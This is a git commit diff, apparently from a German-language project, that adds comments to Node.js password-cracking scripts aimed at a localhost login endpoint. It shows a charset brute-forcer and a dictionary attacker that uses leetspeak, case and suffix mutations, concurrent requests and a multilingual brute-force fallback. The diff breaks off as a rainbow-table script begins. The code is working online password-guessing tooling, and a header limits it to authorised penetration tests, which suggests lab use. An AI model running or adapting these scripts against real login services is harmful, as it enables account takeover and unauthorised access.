Implemented comments and method descriptions
This commit is contained in:
+61
-9
@@ -1,76 +1,128 @@
|
|||||||
function usage() {
|
function usage() {
|
||||||
console.log('Usage: node crack.js <username> <charset> <maxlen>');
|
console.log('Usage: node crack.js <username> <charset> <maxlen>');
|
||||||
console.log(' charset: digits | lower | upper');
|
console.log(' charset: digits | lower | upper | symbols | mixed');
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Überprüfe, ob genügend Argumente übergeben wurden
|
||||||
if (process.argv.length < 4) usage();
|
if (process.argv.length < 4) usage();
|
||||||
|
|
||||||
const USERNAME = process.argv[2];
|
// Extrahiere Kommandozeilenargumente
|
||||||
const CHARSET_NAME = process.argv[3];
|
const USERNAME = process.argv[2]; // Zu testender Benutzername
|
||||||
const MAXLEN = parseInt(process.argv[4], 10);
|
const CHARSET_NAME = process.argv[3]; // Name des Zeichensatzes
|
||||||
|
const MAXLEN = parseInt(process.argv[4], 10); // Maximale Passwortlänge
|
||||||
|
|
||||||
|
// Initialisiere den Zeichensatz basierend auf dem übergebenen Namen
|
||||||
let CHARS = '';
|
let CHARS = '';
|
||||||
if (CHARSET_NAME === 'chars') CHARS = '0123456789';
|
if (CHARSET_NAME === 'chars')
|
||||||
else if (CHARSET_NAME === 'lower') CHARS = 'abcdefghijklmnopqrstuvwxyz';
|
CHARS = '0123456789'; // Nur Ziffern
|
||||||
else if (CHARSET_NAME === 'upper') CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
|
else if (CHARSET_NAME === 'lower')
|
||||||
|
CHARS = 'abcdefghijklmnopqrstuvwxyz'; // Nur Kleinbuchstaben
|
||||||
|
else if (CHARSET_NAME === 'upper')
|
||||||
|
CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; // Nur Großbuchstaben
|
||||||
|
else if (CHARSET_NAME === 'symbols')
|
||||||
|
CHARS = '!@#$%^&*()_+-=[]{}|;:,.<>?'; // Nur Sonderzeichen
|
||||||
|
else if (CHARSET_NAME === 'mixed')
|
||||||
|
// Gemischter Zeichensatz: Buchstaben, Ziffern und Sonderzeichen
|
||||||
|
CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?';
|
||||||
else {
|
else {
|
||||||
console.error('Unknown charset:', CHARSET_NAME);
|
console.error('Unknown charset:', CHARSET_NAME);
|
||||||
usage();
|
usage();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
console.log(`Target user: ${USERNAME}, charset=${CHARSET_NAME}, maxlen=${MAXLEN}`);
|
console.log(`Target user: ${USERNAME}, charset=${CHARSET_NAME}, maxlen=${MAXLEN}`);
|
||||||
console.log('Starting local-only brute-force (Node). Stop with Ctrl+C.');
|
console.log('Starting local-only brute-force (Node). Stop with Ctrl+C.');
|
||||||
|
|
||||||
|
// Flag, um anzuzeigen, ob das Passwort gefunden wurde
|
||||||
let found = false;
|
let found = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Testet einen einzelnen Passwort-Kandidaten gegen den Login-Endpoint.
|
||||||
|
*
|
||||||
|
* @param {string} candidate - Das zu testende Passwort
|
||||||
|
* @returns {Promise<boolean>} - true, wenn das Passwort korrekt ist, sonst false
|
||||||
|
*/
|
||||||
async function tryCandidate(candidate) {
|
async function tryCandidate(candidate) {
|
||||||
const url = "http://localhost:3000/login";
|
const url = "http://localhost:3000/login";
|
||||||
|
|
||||||
|
// Maskiere das Passwort in der Ausgabe (zeige nur die letzten 2 Zeichen)
|
||||||
console.log(`Trying candidate (masked): ${candidate.replace(/.(?=.{2})/g, '*')}`);
|
console.log(`Trying candidate (masked): ${candidate.replace(/.(?=.{2})/g, '*')}`);
|
||||||
|
|
||||||
|
// Erstelle den Request-Body mit Benutzername und Passwort
|
||||||
const body = {username: USERNAME, password: candidate};
|
const body = {username: USERNAME, password: candidate};
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
// Sende POST-Request an den Login-Endpoint
|
||||||
const resp = await fetch(url, {
|
const resp = await fetch(url, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
body: JSON.stringify(body)
|
body: JSON.stringify(body)
|
||||||
});
|
});
|
||||||
|
|
||||||
if (resp.status === 200) {
|
if (resp.status === 200) {
|
||||||
|
// Status 200: Login erfolgreich - Passwort gefunden!
|
||||||
console.log(`Found: ${candidate}`);
|
console.log(`Found: ${candidate}`);
|
||||||
found = true;
|
found = true;
|
||||||
return true;
|
return true;
|
||||||
} else if (resp.status === 401) {
|
} else if (resp.status === 401) {
|
||||||
|
// Status 401: Unauthorized - falsches Passwort
|
||||||
return false;
|
return false;
|
||||||
} else {
|
} else {
|
||||||
|
// Unerwarteter Status-Code
|
||||||
const text = await resp.text().catch(() => '');
|
const text = await resp.text().catch(() => '');
|
||||||
console.warn('Unexpected response', resp.status, text);
|
console.warn('Unexpected response', resp.status, text);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
|
// Fehlerbehandlung für Netzwerkfehler
|
||||||
console.error('Network/error:', err.message);
|
console.error('Network/error:', err.message);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generiert systematisch alle möglichen Passwort-Kombinationen und testet sie.
|
||||||
|
*
|
||||||
|
* Die Funktion arbeitet iterativ durch alle Längen (1 bis maxlen) und generiert
|
||||||
|
* für jede Länge alle möglichen Kombinationen aus dem Zeichensatz.
|
||||||
|
*
|
||||||
|
* @param {string[]} chars - Array mit allen verfügbaren Zeichen
|
||||||
|
* @param {number} maxlen - Maximale Länge der zu testenden Passwörter
|
||||||
|
*/
|
||||||
async function generateAndTest(chars, maxlen) {
|
async function generateAndTest(chars, maxlen) {
|
||||||
|
// Iteriere über alle Passwortlängen von 1 bis maxlen
|
||||||
for (let len = 1; len <= maxlen; len++) {
|
for (let len = 1; len <= maxlen; len++) {
|
||||||
|
// Initialisiere Index-Array (repräsentiert Position im Zeichensatz)
|
||||||
const idx = new Array(len).fill(0);
|
const idx = new Array(len).fill(0);
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
|
// Erstelle das aktuelle Passwort-Kandidat aus den Indices
|
||||||
const candidate = idx.map(i => chars[i]).join('');
|
const candidate = idx.map(i => chars[i]).join('');
|
||||||
|
|
||||||
|
// Teste den Kandidaten
|
||||||
await tryCandidate(candidate);
|
await tryCandidate(candidate);
|
||||||
|
|
||||||
|
// Wenn Passwort gefunden, beende die Suche
|
||||||
if (found) return;
|
if (found) return;
|
||||||
let pos = len - 1;
|
|
||||||
|
// Inkrementiere die Indices (wie ein Zählwerk)
|
||||||
|
let pos = len - 1; // Beginne bei der letzten Position
|
||||||
while (pos >= 0) {
|
while (pos >= 0) {
|
||||||
idx[pos]++;
|
idx[pos]++;
|
||||||
|
// Wenn Index gültig bleibt, fertig
|
||||||
if (idx[pos] < chars.length) break;
|
if (idx[pos] < chars.length) break;
|
||||||
|
// Sonst: Überlauf, setze auf 0 und gehe zur nächsten Position
|
||||||
idx[pos] = 0;
|
idx[pos] = 0;
|
||||||
pos--;
|
pos--;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Wenn alle Positionen übergelaufen sind, sind alle Kombinationen dieser Länge durch
|
||||||
if (pos < 0) break;
|
if (pos < 0) break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Starte den Brute-Force-Prozess
|
||||||
generateAndTest(CHARS.split(''), MAXLEN)
|
generateAndTest(CHARS.split(''), MAXLEN)
|
||||||
.then(() => {
|
.then(() => {
|
||||||
if (!found) {
|
if (!found) {
|
||||||
|
|||||||
+290
-34
@@ -1,132 +1,282 @@
|
|||||||
const fs = require('fs');
|
/**
|
||||||
|
* Intelligenter Dictionary-basierter Password Cracker
|
||||||
|
*
|
||||||
|
* Dieses Skript kombiniert mehrere Angriffstechniken:
|
||||||
|
* 1. Wörterbuch-Angriff mit Mutationen
|
||||||
|
* 2. Leetspeak-Varianten
|
||||||
|
* 3. Groß-/Kleinschreibungs-Varianten
|
||||||
|
* 4. Brute-Force als Fallback
|
||||||
|
*
|
||||||
|
* WARNUNG: Nur für autorisierte Penetrationstests verwenden!
|
||||||
|
* Unbefugte Verwendung ist illegal und strafbar.
|
||||||
|
*/
|
||||||
|
|
||||||
|
const fs = require('fs');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
const fetch = global.fetch || require('node-fetch');
|
const fetch = global.fetch || require('node-fetch');
|
||||||
const TARGET_URL = 'http://localhost:3000/login';
|
|
||||||
const DICT_PATH = path.resolve(__dirname, 'dictionary.txt');
|
// Konfigurationskonstanten
|
||||||
const MAX_TRIES = 20000000;
|
const TARGET_URL = 'http://localhost:3000/login'; // Ziel-Login-Endpoint
|
||||||
|
const DICT_PATH = path.resolve(__dirname, 'dictionary.txt'); // Pfad zur Wörterbuch-Datei
|
||||||
|
const MAX_TRIES = 20000000; // Maximale Anzahl an Versuchen
|
||||||
|
|
||||||
|
// Globaler Flag, ob Passwort gefunden wurde
|
||||||
let found = false;
|
let found = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Implementiert eine einfache Concurrency-Limitierung für asynchrone Operationen.
|
||||||
|
* Verhindert, dass zu viele parallele Requests gleichzeitig ausgeführt werden.
|
||||||
|
*
|
||||||
|
* @param {number} concurrency - Maximale Anzahl gleichzeitiger Operationen
|
||||||
|
* @returns {Function} - Funktion zum Einreihen von Promises
|
||||||
|
*/
|
||||||
const pLimit = (concurrency) => {
|
const pLimit = (concurrency) => {
|
||||||
const queue = [];
|
const queue = []; // Warteschlange für ausstehende Tasks
|
||||||
let active = 0;
|
let active = 0; // Anzahl aktuell laufender Tasks
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verarbeitet die nächste Task in der Warteschlange, falls möglich
|
||||||
|
*/
|
||||||
const next = () => {
|
const next = () => {
|
||||||
if (queue.length === 0) return;
|
if (queue.length === 0) return; // Keine Tasks vorhanden
|
||||||
if (active >= concurrency) return;
|
if (active >= concurrency) return; // Limit bereits erreicht
|
||||||
|
|
||||||
active++;
|
active++;
|
||||||
const {fn, resolve} = queue.shift();
|
const {fn, resolve} = queue.shift(); // Nimm nächste Task
|
||||||
|
|
||||||
|
// Führe Task aus und handle Completion
|
||||||
fn().then((r) => {
|
fn().then((r) => {
|
||||||
active--;
|
active--;
|
||||||
resolve(r);
|
resolve(r);
|
||||||
next();
|
next(); // Verarbeite nächste Task
|
||||||
}, (e) => {
|
}, (e) => {
|
||||||
active--;
|
active--;
|
||||||
resolve(Promise.reject(e));
|
resolve(Promise.reject(e));
|
||||||
next();
|
next(); // Verarbeite nächste Task auch bei Fehler
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Returniere Funktion zum Einreihen neuer Tasks
|
||||||
return (fn) => new Promise((resolve) => {
|
return (fn) => new Promise((resolve) => {
|
||||||
queue.push({fn, resolve});
|
queue.push({fn, resolve});
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Extrahiere Benutzernamen aus Kommandozeilenargumenten
|
||||||
const USERNAME = process.argv[2];
|
const USERNAME = process.argv[2];
|
||||||
if (!USERNAME) {
|
if (!USERNAME) {
|
||||||
console.error('Usage: node attacker.js <username>');
|
console.error('Usage: node attacker.js <username>');
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Maskiert einen String, um sensible Daten in Logs zu schützen.
|
||||||
|
* Zeigt nur die letzten 2 Zeichen im Klartext.
|
||||||
|
*
|
||||||
|
* @param {string} s - Zu maskierender String
|
||||||
|
* @returns {string} - Maskierter String
|
||||||
|
*/
|
||||||
function safeMask(s) {
|
function safeMask(s) {
|
||||||
if (!s) return '';
|
if (!s) return '';
|
||||||
return s.replace(/.(?=.{2})/g, '*');
|
return s.replace(/.(?=.{2})/g, '*');
|
||||||
}
|
}
|
||||||
|
|
||||||
const leetMap = {a: ['4', '@'], e: ['3'], i: ['1', '!'], o: ['0'], s: ['5', '$'], t: ['7']};
|
// Leetspeak-Ersetzungstabelle: Buchstaben -> Zahlen/Symbole
|
||||||
|
const leetMap = {
|
||||||
|
a: ['4', '@'],
|
||||||
|
e: ['3'],
|
||||||
|
i: ['1', '!'],
|
||||||
|
o: ['0'],
|
||||||
|
s: ['5', '$'],
|
||||||
|
t: ['7']
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generiert alle möglichen Leetspeak-Varianten eines Wortes.
|
||||||
|
* Beispiel: "test" -> ["test", "t3st", "te5t", "7est", etc.]
|
||||||
|
*
|
||||||
|
* @param {string} word - Ausgangswort
|
||||||
|
* @returns {string[]} - Array aller Leetspeak-Varianten
|
||||||
|
*/
|
||||||
function leetVariants(word) {
|
function leetVariants(word) {
|
||||||
const res = new Set();
|
const res = new Set(); // Set verhindert Duplikate
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Rekursive Hilfsfunktion zum Generieren der Varianten
|
||||||
|
* @param {number} idx - Aktuelle Position im Wort
|
||||||
|
* @param {string} cur - Bisher aufgebaute Variante
|
||||||
|
*/
|
||||||
function helper(idx, cur) {
|
function helper(idx, cur) {
|
||||||
if (idx === word.length) {
|
if (idx === word.length) {
|
||||||
res.add(cur);
|
res.add(cur); // Vollständige Variante erreicht
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const ch = word[idx];
|
const ch = word[idx];
|
||||||
helper(idx + 1, cur + ch);
|
helper(idx + 1, cur + ch); // Originalzeichen beibehalten
|
||||||
|
|
||||||
const low = ch.toLowerCase();
|
const low = ch.toLowerCase();
|
||||||
|
// Falls Leetspeak-Ersetzungen existieren, generiere zusätzliche Varianten
|
||||||
if (leetMap[low]) {
|
if (leetMap[low]) {
|
||||||
for (const sub of leetMap[low]) helper(idx + 1, cur + sub);
|
for (const sub of leetMap[low]) {
|
||||||
|
helper(idx + 1, cur + sub);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
helper(0, '');
|
helper(0, '');
|
||||||
return Array.from(res);
|
return Array.from(res);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generiert verschiedene Groß-/Kleinschreibungs-Varianten eines Strings.
|
||||||
|
*
|
||||||
|
* @param {string} s - Eingabestring
|
||||||
|
* @returns {Set<string>} - Set mit Varianten: original, lowercase, UPPERCASE, Capitalized
|
||||||
|
*/
|
||||||
function capsVariants(s) {
|
function capsVariants(s) {
|
||||||
return new Set([s, s.toLowerCase(), s.toUpperCase(), s[0].toUpperCase() + s.slice(1)]);
|
return new Set([
|
||||||
|
s, // Original
|
||||||
|
s.toLowerCase(), // alles klein
|
||||||
|
s.toUpperCase(), // ALLES GROSS
|
||||||
|
s[0].toUpperCase() + s.slice(1) // Erste Buchstabe groß
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Lädt Basis-Wörter aus der Wörterbuch-Datei.
|
||||||
|
*
|
||||||
|
* @returns {string[]} - Array mit Basis-Wörtern
|
||||||
|
*/
|
||||||
function buildBaseWords() {
|
function buildBaseWords() {
|
||||||
const words = new Set();
|
const words = new Set();
|
||||||
|
|
||||||
|
// Lese Wörterbuch-Datei, falls vorhanden
|
||||||
if (fs.existsSync(DICT_PATH)) {
|
if (fs.existsSync(DICT_PATH)) {
|
||||||
const lines = fs.readFileSync(DICT_PATH, 'utf8').split(/\r?\n/).map(l => l.trim()).filter(Boolean);
|
const lines = fs.readFileSync(DICT_PATH, 'utf8')
|
||||||
|
.split(/\r?\n/) // Zeilen aufteilen
|
||||||
|
.map(l => l.trim()) // Whitespace entfernen
|
||||||
|
.filter(Boolean); // Leere Zeilen entfernen
|
||||||
|
|
||||||
lines.forEach(w => words.add(w));
|
lines.forEach(w => words.add(w));
|
||||||
}
|
}
|
||||||
|
|
||||||
return Array.from(words);
|
return Array.from(words);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Erweitert Basis-Wörter mit verschiedenen Mutationen und Kombinationen.
|
||||||
|
* Verwendet gängige Muster wie Suffixe, Leetspeak, Kombinationen etc.
|
||||||
|
*
|
||||||
|
* @param {string[]} baseWords - Array mit Basis-Wörtern
|
||||||
|
* @returns {string[]} - Erweitertes Array mit allen Mutationen
|
||||||
|
*/
|
||||||
function expandWithMutations(baseWords) {
|
function expandWithMutations(baseWords) {
|
||||||
const out = new Set();
|
const out = new Set();
|
||||||
|
|
||||||
|
// Häufig verwendete Passwort-Suffixe
|
||||||
const commonSuffixes = ['!', '1', '123', '2020', '2021', '2022', '#'];
|
const commonSuffixes = ['!', '1', '123', '2020', '2021', '2022', '#'];
|
||||||
|
|
||||||
|
// Häufig eingefügte Sonderzeichen
|
||||||
const specialInserts = ['!', '.', '_', '-', '@'];
|
const specialInserts = ['!', '.', '_', '-', '@'];
|
||||||
|
|
||||||
|
// Erste Mutationsrunde: Groß-/Kleinschreibung + Suffixe + Leetspeak
|
||||||
for (const w of baseWords) {
|
for (const w of baseWords) {
|
||||||
|
// Groß-/Kleinschreibungs-Varianten
|
||||||
for (const v of capsVariants(w)) {
|
for (const v of capsVariants(w)) {
|
||||||
out.add(v);
|
out.add(v);
|
||||||
for (const s of commonSuffixes) out.add(v + s);
|
|
||||||
for (const l of leetVariants(v)) out.add(l);
|
// Füge gängige Suffixe hinzu
|
||||||
|
for (const s of commonSuffixes) {
|
||||||
|
out.add(v + s);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generiere Leetspeak-Varianten
|
||||||
|
for (const l of leetVariants(v)) {
|
||||||
|
out.add(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ausrufezeichen am Anfang/Ende
|
||||||
out.add(v + '!');
|
out.add(v + '!');
|
||||||
out.add('!' + v);
|
out.add('!' + v);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Spezielle Jahr-Suffixe
|
||||||
out.add(w + '123');
|
out.add(w + '123');
|
||||||
out.add(w + '2023');
|
out.add(w + '2023');
|
||||||
for (const c of specialInserts) out.add(w + c);
|
|
||||||
|
// Sonderzeichen-Suffixe
|
||||||
|
for (const c of specialInserts) {
|
||||||
|
out.add(w + c);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Zweite Mutationsrunde: Wort-Kombinationen
|
||||||
|
// Kombiniere die ersten 200 Wörter paarweise (begrenzt wegen Komplexität)
|
||||||
const arr = Array.from(out);
|
const arr = Array.from(out);
|
||||||
for (let i = 0; i < Math.min(200, arr.length); i++) {
|
for (let i = 0; i < Math.min(200, arr.length); i++) {
|
||||||
for (let j = 0; j < Math.min(200, arr.length); j++) {
|
for (let j = 0; j < Math.min(200, arr.length); j++) {
|
||||||
if (i === j) continue;
|
if (i === j) continue; // Keine Selbst-Kombination
|
||||||
out.add(arr[i] + arr[j]);
|
out.add(arr[i] + arr[j]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return Array.from(out);
|
return Array.from(out);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generator-Funktion für systematische Brute-Force-Passwort-Generierung.
|
||||||
|
* Erzeugt alle möglichen Kombinationen aus dem Zeichensatz bis zur maximalen Länge.
|
||||||
|
*
|
||||||
|
* @param {string[]} charset - Array mit verfügbaren Zeichen
|
||||||
|
* @param {number} maxLen - Maximale Passwortlänge
|
||||||
|
* @yields {string} - Nächster Passwort-Kandidat
|
||||||
|
*/
|
||||||
function* generateAndTest(charset, maxLen) {
|
function* generateAndTest(charset, maxLen) {
|
||||||
|
// Iteriere über alle Längen
|
||||||
for (let len = 1; len <= maxLen; len++) {
|
for (let len = 1; len <= maxLen; len++) {
|
||||||
const indices = Array(len).fill(0);
|
const indices = Array(len).fill(0); // Index-Array für Zeichenpositionen
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
|
// Konvertiere Indices zu tatsächlichem Passwort
|
||||||
yield indices.map(i => charset[i]).join('');
|
yield indices.map(i => charset[i]).join('');
|
||||||
let pos = len - 1;
|
|
||||||
|
// Inkrementiere Indices (funktioniert wie ein Zählwerk)
|
||||||
|
let pos = len - 1; // Beginne bei der letzten Position
|
||||||
while (pos >= 0) {
|
while (pos >= 0) {
|
||||||
indices[pos]++;
|
indices[pos]++;
|
||||||
if (indices[pos] < charset.length) break;
|
if (indices[pos] < charset.length) break; // Kein Überlauf
|
||||||
indices[pos] = 0;
|
indices[pos] = 0; // Überlauf: Reset und carry
|
||||||
pos--;
|
pos--;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Wenn alle Positionen übergelaufen sind, fertig mit dieser Länge
|
||||||
if (pos < 0) break;
|
if (pos < 0) break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Testet einen Passwort-Kandidaten gegen den Login-Endpoint.
|
||||||
|
*
|
||||||
|
* @param {string} candidate - Zu testendes Passwort
|
||||||
|
* @returns {Promise<boolean>} - true wenn erfolgreich, sonst false
|
||||||
|
*/
|
||||||
async function tryCandidate(candidate) {
|
async function tryCandidate(candidate) {
|
||||||
if (found) return false;
|
if (found) return false; // Abbruch, falls bereits gefunden
|
||||||
|
|
||||||
const body = {username: USERNAME, password: candidate};
|
const body = {username: USERNAME, password: candidate};
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const resp = await fetch(TARGET_URL, {
|
const resp = await fetch(TARGET_URL, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
body: JSON.stringify(body)
|
body: JSON.stringify(body)
|
||||||
});
|
});
|
||||||
|
|
||||||
if (resp.status === 200) {
|
if (resp.status === 200) {
|
||||||
|
// Erfolgreicher Login - Passwort gefunden!
|
||||||
console.log(`FOUND password for ${USERNAME}: ${candidate}`);
|
console.log(`FOUND password for ${USERNAME}: ${candidate}`);
|
||||||
found = true;
|
found = true;
|
||||||
return true;
|
return true;
|
||||||
@@ -139,30 +289,136 @@ async function tryCandidate(candidate) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hauptfunktion: Führt den mehrstufigen Passwort-Angriff aus
|
||||||
|
*/
|
||||||
(async () => {
|
(async () => {
|
||||||
|
// Phase 1: Wörterbuch-Angriff mit Mutationen
|
||||||
const base = buildBaseWords();
|
const base = buildBaseWords();
|
||||||
console.log('Base words from files/personal:', base.slice(0, 20));
|
console.log('Base words from files/personal:', base.slice(0, 20));
|
||||||
|
|
||||||
let candidates = expandWithMutations(base);
|
let candidates = expandWithMutations(base);
|
||||||
console.log(`Generated ${candidates.length} mutated candidates (capped).`);
|
console.log(`Generated ${candidates.length} mutated candidates (capped).`);
|
||||||
|
|
||||||
|
// Füge häufige Standard-Passwörter hinzu
|
||||||
const common = ['password', '123456', 'qwerty', 'letmein', 'welcome'];
|
const common = ['password', '123456', 'qwerty', 'letmein', 'welcome'];
|
||||||
candidates = candidates.concat(common);
|
candidates = candidates.concat(common);
|
||||||
if (candidates.length > MAX_TRIES) candidates = candidates.slice(0, MAX_TRIES);
|
|
||||||
const limit = pLimit();
|
// Begrenze auf maximale Anzahl Versuche
|
||||||
|
if (candidates.length > MAX_TRIES) {
|
||||||
|
candidates = candidates.slice(0, MAX_TRIES);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Teste alle Wörterbuch-basierten Kandidaten mit Concurrency-Limit
|
||||||
|
const limit = pLimit(5); // Maximal 5 parallele Requests
|
||||||
for (const c of candidates) {
|
for (const c of candidates) {
|
||||||
if (found) break;
|
if (found) break; // Abbruch bei Erfolg
|
||||||
await limit(() => tryCandidate(c));
|
await limit(() => tryCandidate(c));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Phase 2: Brute-Force-Fallback, falls Wörterbuch-Angriff fehlschlägt
|
||||||
if (!found) {
|
if (!found) {
|
||||||
console.log('No match in dictionary/mutation phase.');
|
console.log('No match in dictionary/mutation phase.');
|
||||||
const charset = '0123456789abcdefghijklmnopqrstuvwxyz'.split('');
|
|
||||||
|
// Erweiterte Zeichensatz-Definition (mehrsprachig + Sonderzeichen)
|
||||||
|
const charset = (
|
||||||
|
// Englisches Alphabet
|
||||||
|
'abcdefghijklmnopqrstuvwxyz' +
|
||||||
|
'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
|
||||||
|
|
||||||
|
// Ziffern
|
||||||
|
'0123456789' +
|
||||||
|
|
||||||
|
// Deutsche Umlaute
|
||||||
|
'äöüß' +
|
||||||
|
'ÄÖÜ' +
|
||||||
|
|
||||||
|
// Französische Zeichen
|
||||||
|
'àâæçéèêëïîôùûüÿœ' +
|
||||||
|
'ÀÂÆÇÉÈÊËÏÎÔÙÛÜŸŒ' +
|
||||||
|
|
||||||
|
// Spanische und Portugiesische Zeichen
|
||||||
|
'áàâãåéèêëíìîïñóòôõöúùûüç' +
|
||||||
|
'ÁÀÂÃÅÉÈÊËÍÌÎÏÑÓÒÔÕÖÚÙÛÜÇ' +
|
||||||
|
|
||||||
|
// Italienische Zeichen
|
||||||
|
'àèéìíîòóùú' +
|
||||||
|
'ÀÈÉÌÍÎÒÓÙÚ' +
|
||||||
|
|
||||||
|
// Skandinavische Zeichen (Dänisch, Norwegisch, Schwedisch)
|
||||||
|
'åæøåäö' +
|
||||||
|
'ÅÆØÅÄÖ' +
|
||||||
|
|
||||||
|
// Isländische Zeichen
|
||||||
|
'áðéíóúýþæö' +
|
||||||
|
'ÁÐÉÍÓÚÝÞÆÖ' +
|
||||||
|
|
||||||
|
// Polnische Zeichen
|
||||||
|
'ąćęłńóśźż' +
|
||||||
|
'ĄĆĘŁŃÓŚŹŻ' +
|
||||||
|
|
||||||
|
// Tschechische und Slowakische Zeichen
|
||||||
|
'áčďéěíňóřšťúůýž' +
|
||||||
|
'ÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ' +
|
||||||
|
|
||||||
|
// Ungarische Zeichen
|
||||||
|
'áéíóöőúüű' +
|
||||||
|
'ÁÉÍÓÖŐÚÜŰ' +
|
||||||
|
|
||||||
|
// Rumänische Zeichen
|
||||||
|
'ăâîșț' +
|
||||||
|
'ĂÂÎȘȚ' +
|
||||||
|
|
||||||
|
// Türkische Zeichen
|
||||||
|
'çğıİöşü' +
|
||||||
|
'ÇĞIİÖŞÜ' +
|
||||||
|
|
||||||
|
// Kroatische und Serbische (lateinisch) Zeichen
|
||||||
|
'čćđšž' +
|
||||||
|
'ČĆĐŠŽ' +
|
||||||
|
|
||||||
|
// Lettische und Litauische Zeichen
|
||||||
|
'āčēģīķļņšūž' +
|
||||||
|
'ĀČĒĢĪĶĻŅŠŪŽ' +
|
||||||
|
|
||||||
|
// Estnische Zeichen
|
||||||
|
'äõöüšž' +
|
||||||
|
'ÄÕÖÜŠŽ' +
|
||||||
|
|
||||||
|
// Kyrillisch (Russisch, Ukrainisch, Bulgarisch, etc.)
|
||||||
|
'абвгдеёжзийклмнопрстуфхцчшщъыьэюя' +
|
||||||
|
'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ' +
|
||||||
|
|
||||||
|
// Griechische Zeichen
|
||||||
|
'αβγδεζηθικλμνξοπρστυφχψω' +
|
||||||
|
'ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ' +
|
||||||
|
|
||||||
|
// CJK (Chinesisch, Japanisch, Koreanisch) - Beispielzeichen
|
||||||
|
'密码漢字日本語한국어' +
|
||||||
|
|
||||||
|
// Sonderzeichen und Symbole
|
||||||
|
'!@#$%^&*()_+-=[]{}|;:,.<>?/\\`~\'"'
|
||||||
|
).split('');
|
||||||
|
|
||||||
|
// Generiere und teste alle Kombinationen bis Länge 3
|
||||||
const gen = generateAndTest(charset, 3);
|
const gen = generateAndTest(charset, 3);
|
||||||
let tries = 0;
|
let tries = 0;
|
||||||
|
|
||||||
for (const candidate of gen) {
|
for (const candidate of gen) {
|
||||||
if (found) break;
|
if (found) break; // Abbruch bei Erfolg
|
||||||
tries++;
|
tries++;
|
||||||
if (tries % 1000 === 0) process.stdout.write(`Tried ${tries}\r`);
|
|
||||||
|
// Fortschrittsanzeige alle 1000 Versuche
|
||||||
|
if (tries % 1000 === 0) {
|
||||||
|
process.stdout.write(`Tried ${tries}\r`);
|
||||||
|
}
|
||||||
|
|
||||||
await limit(() => tryCandidate(candidate));
|
await limit(() => tryCandidate(candidate));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (!found) console.log('Finished test run; password not found (within limits).');
|
|
||||||
|
// Finale Meldung
|
||||||
|
if (!found) {
|
||||||
|
console.log('Finished test run; password not found (within limits).');
|
||||||
|
}
|
||||||
})();
|
})();
|
||||||
+205
-24
@@ -3,145 +3,286 @@ const path = require('path');
|
|||||||
const crypto = require('crypto');
|
const crypto = require('crypto');
|
||||||
const fetch = global.fetch || require('node-fetch');
|
const fetch = global.fetch || require('node-fetch');
|
||||||
|
|
||||||
const TARGET_URL = 'http://localhost:3000/login';
|
// Konfigurationskonstanten
|
||||||
const RAINBOW_TABLE_PATH = path.resolve(__dirname, 'rainbow_table.json');
|
const TARGET_URL = 'http://localhost:3000/login'; // Ziel-Login-Endpoint
|
||||||
|
